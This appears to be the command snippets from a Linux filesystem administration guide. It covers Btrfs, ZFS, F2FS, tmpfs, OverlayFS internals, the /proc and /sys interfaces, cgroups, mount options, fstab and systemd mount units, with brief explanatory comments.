# Check compression property
btrfs property get /mnt/data/logs compression

# Create initial snapshot
btrfs subvolume snapshot -r /mnt/data /mnt/data/snap1

# Send snapshot to another location
btrfs send /mnt/data/snap1 | btrfs receive /mnt/backup/

# Incremental backup
btrfs subvolume snapshot -r /mnt/data /mnt/data/snap2
btrfs send -p /mnt/data/snap1 /mnt/data/snap2 | btrfs receive /mnt/backup/

# Send over network
btrfs send /mnt/data/snap1 | ssh user@backup 'btrfs receive /backup/'

# Send with compression
btrfs send /mnt/data/snap1 | gzip | ssh user@backup 'gunzip | btrfs receive /backup/'

# Add device to filesystem
btrfs device add /dev/sdc1 /mnt/data

# Remove device
btrfs device remove /dev/sdc1 /mnt/data

# Balance filesystem (redistribute data across devices)
btrfs balance start /mnt/data

# Balance only data, convert to RAID1
btrfs balance start -dconvert=raid1 /mnt/data

# Balance only metadata
btrfs balance start -mconvert=raid1 /mnt/data

# Check balance status
btrfs balance status /mnt/data

# Replace failing device
btrfs replace start /dev/sdb1 /dev/sdd1 /mnt/data

# Scrub filesystem (verify checksums)
btrfs scrub start /mnt/data
btrfs scrub status /mnt/data

# Check filesystem (unmounted)
btrfs check /dev/sdb1

# Check with repair (dangerous, backup first)
btrfs check --repair /dev/sdb1

# Show filesystem usage
btrfs filesystem usage /mnt/data

# Show device stats
btrfs device stats /mnt/data

# Resize filesystem
btrfs filesystem resize +10G /mnt/data    # Grow by 10GB
btrfs filesystem resize -5G /mnt/data     # Shrink by 5GB
btrfs filesystem resize max /mnt/data     # Grow to device size

# Defragment
btrfs filesystem defragment -r /mnt/data

# Ubuntu/Debian
apt install zfsutils-linux

# RHEL/CentOS/Fedora
dnf install zfs

# Arch Linux
pacman -S zfs-linux

# Load kernel module
modprobe zfs

# Create simple pool
zpool create mypool /dev/sdb

# Create mirror pool (RAID1)
zpool create mypool mirror /dev/sdb /dev/sdc

# Create RAID-Z pool (similar to RAID5, single parity)
zpool create mypool raidz /dev/sd[b-e]

# Create RAID-Z2 pool (similar to RAID6, double parity)
zpool create mypool raidz2 /dev/sd[b-f]

# Create RAID-Z3 pool (triple parity)
zpool create mypool raidz3 /dev/sd[b-g]

# Create with specific mount point
zpool create -m /data mypool /dev/sdb

# Create with specific ashift (sector size: 9=512B, 12=4K, 13=8K)
zpool create -o ashift=12 mypool /dev/sdb

# Add cache device (L2ARC)
zpool add mypool cache /dev/sdf

# Add log device (SLOG/ZIL)
zpool add mypool log mirror /dev/sdg /dev/sdh

# List pools
zpool list

# Show pool status
zpool status mypool

# Show detailed I/O statistics
zpool iostat mypool 1  # Update every second

# Add device to pool
zpool add mypool /dev/sdf

# Replace device
zpool replace mypool /dev/sdb /dev/sdg

# Remove device (only cache/log devices)
zpool remove mypool /dev/sdf

# Scrub pool (verify all data)
zpool scrub mypool

# Stop scrub
zpool scrub -s mypool

# Export pool (unmount, prepare for import elsewhere)
zpool export mypool

# Import pool
zpool import mypool

# Import pool with different name
zpool import oldname newname

# Import pool that was last used on another system
zpool import -f mypool

# Upgrade pool to latest features
zpool upgrade mypool

# Create dataset (filesystem)
zfs create mypool/data

# Create dataset with specific mount point
zfs create -o mountpoint=/data mypool/data

# List datasets
zfs list

# Show detailed properties
zfs get all mypool/data

# Set properties
zfs set compression=lz4 mypool/data
zfs set recordsize=1M mypool/data           # Block size
zfs set atime=off mypool/data
zfs set quota=100G mypool/data
zfs set reservation=50G mypool/data

# Create dataset with properties
zfs create -o compression=lz4 -o mountpoint=/data mypool/data

# Destroy dataset
zfs destroy mypool/data

# Rename dataset
zfs rename mypool/data mypool/newdata

# Create snapshot
zfs snapshot mypool/data@snap1

# Create recursive snapshot (all child datasets)
zfs snapshot -r mypool/data@snap1

# List snapshots
zfs list -t snapshot

# Rollback to snapshot (destroys newer data)
zfs rollback mypool/data@snap1

# Clone snapshot (create writable copy)
zfs clone mypool/data@snap1 mypool/clone

# Promote clone (make it independent)
zfs promote mypool/clone

# Destroy snapshot
zfs destroy mypool/data@snap1

# Destroy all snapshots for dataset
zfs destroy -r mypool/data

# Send full snapshot
zfs send mypool/data@snap1 > /backup/snap1.zfs

# Receive snapshot
zfs receive mypool/restore < /backup/snap1.zfs

# Send incremental snapshot
zfs send -i mypool/data@snap1 mypool/data@snap2 > /backup/incremental.zfs

# Send over network
zfs send mypool/data@snap1 | ssh user@backup 'zfs receive backuppool/data'

# Send with compression
zfs send mypool/data@snap1 | gzip | ssh user@backup 'gunzip | zfs receive backuppool/data'

# Send recursively (all child datasets)
zfs send -R mypool/data@snap1 | zfs receive backuppool/data

# Set recordsize for large sequential I/O
zfs set recordsize=1M mypool/data

# Set recordsize for small random I/O
zfs set recordsize=8K mypool/data

# Enable compression (lz4 is fast and efficient)
zfs set compression=lz4 mypool/data

# Disable atime updates
zfs set atime=off mypool/data

# Set ARC cache size (in /etc/modprobe.d/zfs.conf)
# options zfs zfs_arc_max=8589934592  # 8GB

# Enable deduplication (very RAM intensive, usually not recommended)
zfs set dedup=on mypool/data

# Set sync behavior
zfs set sync=standard mypool/data  # Default
zfs set sync=always mypool/data    # Slower, safer
zfs set sync=disabled mypool/data  # Faster, dangerous

# Create F2FS filesystem
mkfs.f2fs /dev/sdb1

# Create with label
mkfs.f2fs -l mydata /dev/sdb1

# Create with specific overprovision ratio (extra space for GC)
mkfs.f2fs -o 5 /dev/sdb1  # 5% overprovision

# Create with specific segment size
mkfs.f2fs -s 4 /dev/sdb1  # 4MB segments

# Mount with default options
mount -t f2fs /dev/sdb1 /mnt/data

# Mount with background GC
mount -t f2fs -o background_gc=on /dev/sdb1 /mnt/data

# Mount with inline data and inline dentry
mount -t f2fs -o inline_data,inline_dentry /dev/sdb1 /mnt/data

# Mount with compression
mount -t f2fs -o compress_algorithm=lz4 /dev/sdb1 /mnt/data

# Create tmpfs mount
mount -t tmpfs tmpfs /mnt/ramdisk

# Create with size limit
mount -t tmpfs -o size=1G tmpfs /mnt/ramdisk

# Create with size limit and specific permissions
mount -t tmpfs -o size=512M,mode=1777 tmpfs /tmp

# Create with uid/gid
mount -t tmpfs -o size=256M,uid=1000,gid=1000 tmpfs /mnt/ramdisk

# Create with inode limit
mount -t tmpfs -o size=1G,nr_inodes=10k tmpfs /mnt/ramdisk

# Show tmpfs usage
df -h /tmp

# Create ramfs mount (no size limit, be careful!)
mount -t ramfs ramfs /mnt/ramdisk

# ramfs is rarely used; tmpfs is preferred in most cases

# /tmp as tmpfs (common on modern systems)
tmpfs /tmp tmpfs defaults,noatime,mode=1777 0 0

# /run for runtime data
tmpfs /run tmpfs defaults,noatime,mode=0755 0 0

# /dev/shm for shared memory
tmpfs /dev/shm tmpfs defaults,noatime,mode=1777 0 0

# Create FAT32
mkfs.vfat /dev/sdb1

# Create FAT32 with label
mkfs.vfat -n MYUSB /dev/sdb1

# Create with specific cluster size
mkfs.vfat -s 8 /dev/sdb1  # 4KB clusters (8 * 512B)

# Create exFAT
mkfs.exfat /dev/sdb1

# Create exFAT with label
mkfs.exfat -n MYUSB /dev/sdb1

# Mount with default options
mount -t vfat /dev/sdb1 /mnt/usb

# Mount with specific UID/GID (all files owned by user)
mount -t vfat -o uid=1000,gid=1000 /dev/sdb1 /mnt/usb

# Mount with UTF-8 encoding
mount -t vfat -o iocharset=utf8 /dev/sdb1 /mnt/usb

# Mount with specific umask (permissions)
mount -t vfat -o umask=022 /dev/sdb1 /mnt/usb

# Mount exFAT
mount -t exfat /dev/sdb1 /mnt/usb

# Install NTFS-3G driver
apt install ntfs-3g

# Mount NTFS
mount -t ntfs-3g /dev/sdb1 /mnt/windows

# Mount with full permissions for user
mount -t ntfs-3g -o uid=1000,gid=1000,dmask=022,fmask=133 /dev/sdb1 /mnt/windows

# Create SquashFS
mksquashfs /source/dir filesystem.squashfs

# Create with specific compression
mksquashfs /source/dir filesystem.squashfs -comp xz

# Mount SquashFS
mount -t squashfs filesystem.squashfs /mnt/squash

# Create EROFS
mkfs.erofs filesystem.erofs /source/dir

# Mount EROFS
mount -t erofs filesystem.erofs /mnt/erofs

# Create ISO
genisoimage -o image.iso /source/dir

# Mount ISO
mount -o loop image.iso /mnt/iso

# Process information (one directory per PID)
/proc/[pid]/cmdline     # Command line
/proc/[pid]/environ     # Environment variables
/proc/[pid]/cwd         # Current working directory (symlink)
/proc/[pid]/exe         # Executable file (symlink)
/proc/[pid]/fd/         # Open file descriptors
/proc/[pid]/maps        # Memory mappings
/proc/[pid]/status      # Process status
/proc/[pid]/stat        # Process statistics
/proc/[pid]/io          # I/O statistics
/proc/[pid]/limits      # Resource limits

# System information
/proc/cpuinfo          # CPU information
/proc/meminfo          # Memory information
/proc/version          # Kernel version
/proc/uptime           # System uptime
/proc/loadavg          # Load average

# Kernel configuration
/proc/cmdline          # Kernel boot parameters
/proc/modules          # Loaded kernel modules
/proc/mounts           # Mounted filesystems
/proc/partitions       # Partition information
/proc/swaps            # Swap space information

# Network information
/proc/net/dev          # Network device statistics
/proc/net/route        # Routing table
/proc/net/tcp          # TCP socket information
/proc/net/udp          # UDP socket information

# System configuration (sysctl interface)
/proc/sys/kernel/      # Kernel parameters
/proc/sys/net/         # Network parameters
/proc/sys/vm/          # Virtual memory parameters
/proc/sys/fs/          # Filesystem parameters

# View process command line
cat /proc/1234/cmdline | tr '\0' ' '

# View open files for process
ls -l /proc/1234/fd/

# Check process memory usage
cat /proc/1234/status | grep VmRSS

# View system memory
cat /proc/meminfo

# View CPU info
cat /proc/cpuinfo

# View kernel parameters
cat /proc/sys/net/ipv4/ip_forward

# Modify kernel parameter (temporary, lost on reboot)
echo 1 > /proc/sys/net/ipv4/ip_forward

# Better way: use sysctl
sysctl -w net.ipv4.ip_forward=1

/sys/block/           # Block devices
/sys/bus/             # Bus types (pci, usb, etc.)
/sys/class/           # Device classes (net, input, etc.)
/sys/devices/         # Device tree
/sys/firmware/        # Firmware information
/sys/fs/              # Filesystem information
/sys/kernel/          # Kernel information
/sys/module/          # Loaded modules
/sys/power/           # Power management

# View network device information
ls /sys/class/net/
cat /sys/class/net/eth0/address        # MAC address
cat /sys/class/net/eth0/statistics/rx_bytes
cat /sys/class/net/eth0/speed          # Link speed

# View block device information
ls /sys/block/
cat /sys/block/sda/size                # Size in sectors
cat /sys/block/sda/queue/scheduler     # I/O scheduler
cat /sys/block/sda/device/model        # Device model

# Change I/O scheduler
echo mq-deadline > /sys/block/sda/queue/scheduler

# View CPU information
ls /sys/devices/system/cpu/
cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor

# View module parameters
ls /sys/module/zfs/parameters/
cat /sys/module/zfs/parameters/zfs_arc_max

# Modify module parameter
echo 8589934592 > /sys/module/zfs/parameters/zfs_arc_max

# View USB devices
ls /sys/bus/usb/devices/

# View PCI devices
ls /sys/bus/pci/devices/

# Mount debugfs
mount -t debugfs debugfs /sys/kernel/debug

# View tracing information
cat /sys/kernel/debug/tracing/available_tracers

# View block device trace
cat /sys/kernel/debug/block/sda/trace

# View filesystem-specific debug info
ls /sys/kernel/debug/ext4/sda1/
ls /sys/kernel/debug/btrfs/

# devtmpfs is typically mounted automatically at boot
mount -t devtmpfs devtmpfs /dev

# View mount
mount | grep devtmpfs

# Mount configfs
mount -t configfs configfs /sys/kernel/config

# Used by various kernel subsystems
ls /sys/kernel/config/
# target/       - SCSI target subsystem
# usb_gadget/   - USB gadget configuration
# nvmet/        - NVMe target

# Mount cgroup v1 (typically at /sys/fs/cgroup/)
mount -t cgroup -o cpu cpu /sys/fs/cgroup/cpu
mount -t cgroup -o memory memory /sys/fs/cgroup/memory
mount -t cgroup -o blkio blkio /sys/fs/cgroup/blkio

# Create cgroup
mkdir /sys/fs/cgroup/cpu/mygroup

# Set CPU limit (50% of one CPU)
echo 50000 > /sys/fs/cgroup/cpu/mygroup/cpu.cfs_quota_us
echo 100000 > /sys/fs/cgroup/cpu/mygroup/cpu.cfs_period_us

# Add process to cgroup
echo $PID > /sys/fs/cgroup/cpu/mygroup/cgroup.procs

# Mount cgroup v2 (unified hierarchy)
mount -t cgroup2 cgroup2 /sys/fs/cgroup

# Create cgroup
mkdir /sys/fs/cgroup/mygroup

# Enable controllers
echo "+cpu +memory +io" > /sys/fs/cgroup/cgroup.subtree_control

# Set CPU weight (100-10000, default 100)
echo 500 > /sys/fs/cgroup/mygroup/cpu.weight

# Set memory limit
echo 1G > /sys/fs/cgroup/mygroup/memory.max

# Add process
echo $PID > /sys/fs/cgroup/mygroup/cgroup.procs

# securityfs - Security module information
mount -t securityfs securityfs /sys/kernel/security

# fusectl - FUSE control filesystem
mount -t fusectl fusectl /sys/fs/fuse/connections

# tracefs - Tracing infrastructure
mount -t tracefs tracefs /sys/kernel/tracing

# bpf - BPF filesystem for pinning BPF objects
mount -t bpf bpf /sys/fs/bpf

# pstore - Persistent storage for oops/panic logs
mount -t pstore pstore /sys/fs/pstore

# efivarfs - UEFI variable filesystem
mount -t efivarfs efivarfs /sys/firmware/efi/efivars

Merged View (appears to user)
         |
    +---------+
    |         |
  Upper     Lower
  (r/w)     (r/o)

Actual layout:
  /merged    <- Merged view (mount point)
  /upper     <- Read-write layer
  /work      <- Work directory (internal)
  /lower     <- Read-only base layer

# Create directories
mkdir -p /tmp/overlay/{lower,upper,work,merged}

# Add some content to lower layer
echo "Base content" > /tmp/overlay/lower/file.txt

# Mount overlay
mount -t overlay overlay \
  -o lowerdir=/tmp/overlay/lower,upperdir=/tmp/overlay/upper,workdir=/tmp/overlay/work \
  /tmp/overlay/merged

# View merged content
ls /tmp/overlay/merged  # Shows file.txt from lower

# Modify file (copy-up occurs)
echo "Modified content" > /tmp/overlay/merged/file.txt

# Original in lower is unchanged
cat /tmp/overlay/lower/file.txt    # "Base content"

# Modified version in upper
cat /tmp/overlay/upper/file.txt    # "Modified content"

# Merged view shows modified version
cat /tmp/overlay/merged/file.txt   # "Modified content"

# Initial state: file exists only in lower
stat /tmp/overlay/lower/file.txt   # Exists
stat /tmp/overlay/upper/file.txt   # Does not exist

# Read file (no copy-up)
cat /tmp/overlay/merged/file.txt

# Copy-up happens on first write
echo "new content" >> /tmp/overlay/merged/file.txt

# Now file exists in upper
stat /tmp/overlay/upper/file.txt   # Exists

# Metadata changes also trigger copy-up
chmod 755 /tmp/overlay/merged/script.sh  # Triggers copy-up

# Check copy-up activity
# Files in upper directory show what has been copied up
find /tmp/overlay/upper -type f

# File exists in lower
echo "content" > /tmp/overlay/lower/file.txt
mount -t overlay ...

# Delete file from merged view
rm /tmp/overlay/merged/file.txt

# File still exists in lower (read-only)
ls /tmp/overlay/lower/file.txt

# Whiteout created in upper (character device 0:0)
ls -l /tmp/overlay/upper/
# c--------- 1 root root 0, 0 Jan 1 12:00 file.txt

# Whiteout hides lower file in merged view
ls /tmp/overlay/merged/file.txt  # No such file

# Check if file is a whiteout
stat /tmp/overlay/upper/file.txt
# Character Device (0:0)

# Directory exists in lower with content
mkdir -p /tmp/overlay/lower/dir
echo "lower content" > /tmp/overlay/lower/dir/file.txt

# Remove directory in merged view
rm -rf /tmp/overlay/merged/dir

# Whiteout created for directory
ls -l /tmp/overlay/upper/
# c--------- 1 root root 0, 0 Jan 1 12:00 dir

# Recreate directory
mkdir /tmp/overlay/merged/dir
echo "new content" > /tmp/overlay/merged/dir/newfile.txt

# Directory becomes opaque (trusted.overlay.opaque=y xattr)
getfattr -n trusted.overlay.opaque /tmp/overlay/upper/dir
# trusted.overlay.opaque="y"

# Opaque directory hides all lower contents
ls /tmp/overlay/merged/dir/
# newfile.txt (file.txt from lower is hidden)

# Create multiple lower layers
mkdir -p /tmp/overlay/{lower1,lower2,lower3,upper,work,merged}

# Add content to different layers
echo "Layer 1" > /tmp/overlay/lower1/file1.txt
echo "Layer 2" > /tmp/overlay/lower2/file2.txt
echo "Layer 3" > /tmp/overlay/lower3/file3.txt

# Same file in multiple layers (highest priority wins)
echo "From layer 1" > /tmp/overlay/lower1/common.txt
echo "From layer 2" > /tmp/overlay/lower2/common.txt

# Mount with multiple lower layers (left to right = high to low priority)
mount -t overlay overlay \
  -o lowerdir=/tmp/overlay/lower1:/tmp/overlay/lower2:/tmp/overlay/lower3,upperdir=/tmp/overlay/upper,workdir=/tmp/overlay/work \
  /tmp/overlay/merged

# Merged view shows all files
ls /tmp/overlay/merged/
# file1.txt file2.txt file3.txt common.txt

# common.txt comes from lower1 (highest priority)
cat /tmp/overlay/merged/common.txt
# From layer 1

# Layer ordering matters: lower1 > lower2 > lower3

# Maximum number of lower layers varies by kernel version
# Kernel < 4.13: ~500 layers
# Kernel >= 4.13: ~500 layers (practical limit)
# Kernel >= 5.11: ~500 layers (with performance optimizations)

# Check overlay module info
modinfo overlay | grep -i layer

# Docker overlay2 storage driver layout
/var/lib/docker/overlay2/
├── l/                    # Shortened layer identifiers (symlinks)
├── <layer-id>/
│   ├── diff/            # Layer content
│   ├── link             # Shortened identifier
│   ├── lower            # Parent layer references
│   └── work/            # Work directory
└── <layer-id>/
    └── merged/          # Container's merged filesystem (when running)

# Inspect Docker storage driver
docker info | grep -A5 "Storage Driver"

# View layer information for image
docker inspect nginx:latest | grep -A20 GraphDriver

# View overlay mounts for running containers
mount | grep overlay
docker ps -q | xargs -I {} docker inspect -f '{{.GraphDriver.Data}}' {}

# When a container runs, Docker creates overlay mount
# Example mount command (simplified):
mount -t overlay overlay \
  -o lowerdir=/var/lib/docker/overlay2/l/ABC:/var/lib/docker/overlay2/l/DEF:/var/lib/docker/overlay2/l/GHI,\
     upperdir=/var/lib/docker/overlay2/xyz/diff,\
     workdir=/var/lib/docker/overlay2/xyz/work \
  /var/lib/docker/overlay2/xyz/merged

# Container's root filesystem is at merged/
# All changes go to upperdir (container layer)
# Image layers are in lowerdir (read-only)

# containerd uses overlay snapshots
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/

# View containerd snapshots
ctr -n k8s.io snapshots ls

# Kubernetes pod overlay mounts
mount | grep overlay | grep kube

# Mount with redirect_dir (requires kernel >= 4.10)
mount -t overlay overlay \
  -o redirect_dir=on,lowerdir=/lower,upperdir=/upper,workdir=/work \
  /merged

# Directory renames don't require full copy
# Instead, xattr marks redirect: trusted.overlay.redirect

# Mount with index feature (requires kernel >= 4.13)
mount -t overlay overlay \
  -o index=on,lowerdir=/lower,upperdir=/upper,workdir=/work \
  /merged

# Index directory created in work directory
ls /work/index/

# Hardlinks work correctly across layers
# Inode numbers are consistent

# Mount with metacopy (requires kernel >= 4.19)
mount -t overlay overlay \
  -o metacopy=on,lowerdir=/lower,upperdir=/upper,workdir=/work \
  /merged

# For metadata-only changes (chmod, chown), only metadata copied
# Data remains in lower layer (efficient)

# Mount with xino (requires kernel >= 4.17)
mount -t overlay overlay \
  -o xino=on,lowerdir=/lower,upperdir=/upper,workdir=/work \
  /merged

# Ensures unique inode numbers even with multiple layers
# Prevents inode collisions

# Read performance:
# - Lower layer reads: Fast, direct from lower filesystem
# - Upper layer reads: Fast, direct from upper filesystem
# - Merged metadata operations: Slight overhead

# Write performance:
# - New files: Fast, written directly to upper
# - Modified files: First write incurs copy-up cost
# - Large files: Significant copy-up penalty

# Directory operations:
# - Readdir: Must merge entries from all layers (can be slow)
# - Directory rename: Complex, may require copying

# 1. Copy-up of large files is expensive
# Workaround: Use volumes for large mutable files

# 2. Some operations not supported on lower layers
# - Extended attributes may not work correctly
# Workaround: Use specific mount options (xattr, noxattr)

# 3. Limited inode operations
# - Hardlinks across layers may not work without index=on

# 4. Nested overlays can cause issues
# Don't mount overlay on top of another overlay

# 5. File descriptor inconsistency
# After copy-up, existing file descriptors point to lower file
# New opens point to upper file

# 6. Rename limitations
# Some complex rename operations may fail or be inefficient

# 1. Use volumes for databases and large files
docker run -v /host/data:/container/data ...

# 2. Minimize layer count (merge layers in Dockerfile)
RUN apt-get update && apt-get install -y pkg1 pkg2 && rm -rf /var/lib/apt/lists/*

# 3. Enable modern features
mount -o index=on,xino=on,redirect_dir=on ...

# 4. Use appropriate filesystem for upper/lower
# - Upper: Fast filesystem with xattr support (ext4, xfs)
# - Lower: Can be anything, even compressed squashfs

# 5. Monitor overlay usage
du -sh /var/lib/docker/overlay2/
docker system df -v

# Error message:
# overlayfs: upperdir is in-use as upperdir/workdir of another mount

# Cause: Directory already used by another overlay mount

# Solution 1: Unmount existing overlay
umount /merged

# Solution 2: Use different upper/work directories
mkdir /upper2 /work2
mount -t overlay overlay -o lowerdir=/lower,upperdir=/upper2,workdir=/work2 /merged

# Solution 3: Check for stale mounts
mount | grep overlay
findmnt -t overlay

# Error message:
# overlayfs: workdir and upperdir must be separate subtrees

# Cause: Work directory inside upper directory or vice versa

# Solution: Use separate directories
mkdir -p /overlay/{upper,work}  # Siblings, not nested
mount -t overlay overlay -o lowerdir=/lower,upperdir=/overlay/upper,workdir=/overlay/work /merged

# Error message:
# overlayfs: failed to resolve 'lowerdir': -2

# Cause: Lower directory doesn't exist or path incorrect

# Solution: Verify all directories exist
mkdir -p /lower /upper /work /merged
ls -ld /lower /upper /work

# If you see character devices (0:0) in merged view, overlay is not working

# Check mount options
mount | grep overlay

# Verify proper mount
findmnt -t overlay

# Remount with correct options
umount /merged
mount -t overlay overlay -o lowerdir=/lower,upperdir=/upper,workdir=/work /merged

# Issue: File becomes inaccessible after modification

# Check filesystem xattr support
tune2fs -l /dev/sda1 | grep xattr

# Enable user_xattr if needed
mount -o remount,user_xattr /upper

# Or in fstab:
# /dev/sda1 /upper ext4 user_xattr 0 2

# Enable overlay debugging (requires debugfs)
mount -t debugfs debugfs /sys/kernel/debug
echo 1 > /sys/kernel/debug/overlayfs

# View kernel logs
dmesg | grep overlay

# Check overlay mount details
cat /proc/mounts | grep overlay

# Inspect file origin (which layer it comes from)
getfattr -n trusted.overlay.origin /merged/file.txt

# Check if directory is opaque
getfattr -n trusted.overlay.opaque /merged/dir/

# Mount device to directory
mount /dev/sdb1 /mnt/data

# Mount with specific filesystem type
mount -t ext4 /dev/sdb1 /mnt/data

# Mount with options
mount -o ro,noatime /dev/sdb1 /mnt/data

# Mount all filesystems in /etc/fstab
mount -a

# Mount by label
mount LABEL=mydata /mnt/data

# Mount by UUID
mount UUID=12345678-1234-1234-1234-123456789abc /mnt/data

# Unmount
umount /mnt/data
# Or by device
umount /dev/sdb1

# Read-only / Read-write
mount -o ro /dev/sdb1 /mnt/data    # Read-only
mount -o rw /dev/sdb1 /mnt/data    # Read-write (default)

# Access time updates
mount -o atime /dev/sdb1 /mnt/data      # Update access time (default)
mount -o noatime /dev/sdb1 /mnt/data    # Don't update access time (faster)
mount -o relatime /dev/sdb1 /mnt/data   # Update if older than mtime (default on modern systems)
mount -o nodiratime /dev/sdb1 /mnt/data # Don't update directory access times

# Synchronous I/O
mount -o sync /dev/sdb1 /mnt/data      # All I/O synchronous (slow, safe)
mount -o async /dev/sdb1 /mnt/data     # Asynchronous I/O (default)

# Execution and device files
mount -o exec /dev/sdb1 /mnt/data      # Allow execution (default)
mount -o noexec /dev/sdb1 /mnt/data    # Prevent execution
mount -o dev /dev/sdb1 /mnt/data       # Allow device files (default)
mount -o nodev /dev/sdb1 /mnt/data     # Ignore device files
mount -o suid /dev/sdb1 /mnt/data      # Allow setuid/setgid (default)
mount -o nosuid /dev/sdb1 /mnt/data    # Ignore setuid/setgid

# User mounts
mount -o user /dev/sdb1 /mnt/data      # Allow user to mount
mount -o users /dev/sdb1 /mnt/data     # Allow any user to mount
mount -o nouser /dev/sdb1 /mnt/data    # Only root can mount (default)

# Automatic mounting
mount -o auto /dev/sdb1 /mnt/data      # Can be mounted with -a (default)
mount -o noauto /dev/sdb1 /mnt/data    # Skip with -a

# Common combined options for security
mount -o noexec,nodev,nosuid /dev/sdb1 /mnt/data

# ext4 options
mount -o data=journal /dev/sdb1 /mnt      # Journal data and metadata
mount -o data=ordered /dev/sdb1 /mnt      # Journal metadata only (default)
mount -o data=writeback /dev/sdb1 /mnt    # No data ordering
mount -o barrier=1 /dev/sdb1 /mnt         # Enable write barriers
mount -o nobarrier /dev/sdb1 /mnt         # Disable write barriers
mount -o journal_checksum /dev/sdb1 /mnt  # Enable journal checksums
mount -o discard /dev/sdb1 /mnt           # Enable TRIM for SSDs
mount -o nodiscard /dev/sdb1 /mnt         # Disable TRIM

# XFS options
mount -o logbufs=8 /dev/sdb1 /mnt         # Number of log buffers
mount -o logbsize=256k /dev/sdb1 /mnt     # Log buffer size
mount -o nobarrier /dev/sdb1 /mnt         # Disable write barriers
mount -o discard /dev/sdb1 /mnt           # Enable TRIM

# Btrfs options
mount -o compress=zstd /dev/sdb1 /mnt     # Enable compression
mount -o compress-force=lzo /dev/sdb1 /mnt # Force compression
mount -o space_cache=v2 /dev/sdb1 /mnt    # Free space cache version
mount -o ssd /dev/sdb1 /mnt               # SSD optimizations
mount -o nossd /dev/sdb1 /mnt             # Disable SSD optimizations
mount -o subvol=name /dev/sdb1 /mnt       # Mount specific subvolume
mount -o subvolid=256 /dev/sdb1 /mnt      # Mount by subvolume ID

# tmpfs options
mount -t tmpfs -o size=1G tmpfs /mnt      # Size limit
mount -t tmpfs -o nr_inodes=10k tmpfs /mnt # Inode limit
mount -t tmpfs -o mode=1777 tmpfs /mnt    # Permissions
mount -t tmpfs -o uid=1000,gid=1000 tmpfs /mnt # Owner

# NTFS-3G options
mount -t ntfs-3g -o uid=1000,gid=1000 /dev/sdb1 /mnt  # User ownership
mount -t ntfs-3g -o permissions /dev/sdb1 /mnt        # Unix permissions
mount -t ntfs-3g -o windows_names /dev/sdb1 /mnt      # Windows filename rules

# NFS options
mount -t nfs -o vers=4.2 server:/export /mnt          # NFS version
mount -t nfs -o soft,timeo=30 server:/export /mnt     # Soft mount with timeout
mount -t nfs -o hard,intr server:/export /mnt         # Hard mount, interruptible
mount -t nfs -o tcp server:/export /mnt               # Use TCP (default for NFSv4)
mount -t nfs -o udp server:/export /mnt               # Use UDP

# /etc/fstab format:
# <device> <mount point> <type> <options> <dump> <pass>

# Example entries:
UUID=12345678-1234-1234-1234-123456789abc /               ext4    errors=remount-ro 0 1
UUID=abcdef12-3456-7890-abcd-ef1234567890 /home           ext4    defaults,noatime  0 2
UUID=11111111-2222-3333-4444-555555555555 none            swap    sw                0 0
/dev/sdb1                                   /mnt/data     ext4    defaults,nofail   0 2
LABEL=backup                                /mnt/backup   xfs     defaults,noauto   0 0
tmpfs                                       /tmp          tmpfs   defaults,size=2G  0 0
server.example.com:/export                  /mnt/nfs      nfs     defaults,_netdev  0 0

# Fields:
# 1. Device: /dev/sdX, UUID, LABEL, or remote path
# 2. Mount point: Where to mount
# 3. Filesystem type: ext4, xfs, btrfs, nfs, etc.
# 4. Options: Comma-separated mount options
# 5. Dump: Backup with dump command (0=no, 1=yes)
# 6. Pass: fsck order (0=skip, 1=root, 2=other)

# Root filesystem (errors=remount-ro protects system)
UUID=xxx / ext4 errors=remount-ro 0 1

# Home with noatime for performance
UUID=xxx /home ext4 defaults,noatime 0 2

# Swap space
UUID=xxx none swap sw 0 0

# Data partition (nofail allows boot if device missing)
UUID=xxx /mnt/data ext4 defaults,nofail 0 2

# External drive (noauto prevents automatic mount)
LABEL=backup /mnt/backup ext4 defaults,noauto 0 0

# Removable media with user mount permission
/dev/sdc1 /media/usb vfat defaults,noauto,user,uid=1000,gid=1000 0 0

# tmpfs for /tmp
tmpfs /tmp tmpfs defaults,noatime,mode=1777,size=2G 0 0

# NFS mount (_netdev waits for network)
server:/export /mnt/nfs nfs defaults,_netdev 0 0

# Bind mount
/home/user/docs /var/www/docs none bind 0 0

# OverlayFS (advanced)
overlay /merged overlay noauto,x-systemd.requires-mounts-for=/lower:/upper,lowerdir=/lower,upperdir=/upper,workdir=/work 0 0

# Find UUID
blkid /dev/sdb1
lsblk -f /dev/sdb1
ls -l /dev/disk/by-uuid/

# Find label
blkid -s LABEL /dev/sdb1
e2label /dev/sdb1                # ext2/3/4
xfs_admin -l /dev/sdb1           # XFS
btrfs filesystem label /mnt/data # Btrfs

# Set label
e2label /dev/sdb1 newlabel       # ext2/3/4
xfs_admin -L newlabel /dev/sdb1  # XFS
tune2fs -L newlabel /dev/sdb1    # ext2/3/4

# Create mount unit: /etc/systemd/system/mnt-data.mount
[Unit]
Description=Data partition
After=local-fs-pre.target

[Mount]
What=/dev/disk/by-uuid/12345678-1234-1234-1234-123456789abc
Where=/mnt/data
Type=ext4
Options=defaults,noatime

[Install]
WantedBy=multi-user.target

# Enable and start
systemctl daemon-reload
systemctl enable mnt-data.mount
systemctl start mnt-data.mount

# Status
systemctl status mnt-data.mount

# Note: Unit name must match mount path with dashes
# /mnt/data -> mnt-data.mount
# /mnt/my-data -> mnt-my\x2ddata.mount (escape dashes with \x2d)

# Create bind mount
mount --bind /source/dir /dest/dir

# Read-only bind mount
mount --bind /source/dir /dest/dir
mount -o remount,ro,bind /dest/dir

# Recursive bind mount (include submounts)
mount --rbind /source/dir /dest/dir

# Bind mount in fstab
/source/dir /dest/dir none bind 0 0
/source/dir /dest/dir none rbind 0 0

# Use cases:
# - Exposing directories in chroots
# - Container filesystem isolation
# - Sharing directories without symlinks

# Make mount shared (propagates to/from peers)
mount --make-shared /mnt/data

# Make mount private (no propagation)
mount --make-private /mnt/data

# Make mount slave (receive but don't send propagation)
mount --make-slave /mnt/data

# Make mount unbindable (prevent bind mounts)
mount --make-unbindable /mnt/data

# Recursive versions
mount --make-rshared /mnt/data
mount --make-rprivate /mnt/data
mount --make-rslave /mnt/data
mount --make-runbindable /mnt/data

# View propagation
findmnt -o TARGET,PROPAGATION
cat /proc/self/mountinfo

# Remount with different options (no unmount required)
mount -o remount,ro /mnt/data       # Change to read-only
mount -o remount,rw /mnt/data       # Change to read-write
mount -o remount,noatime /mnt/data  # Add noatime option

# Normal unmount
umount /mnt/data

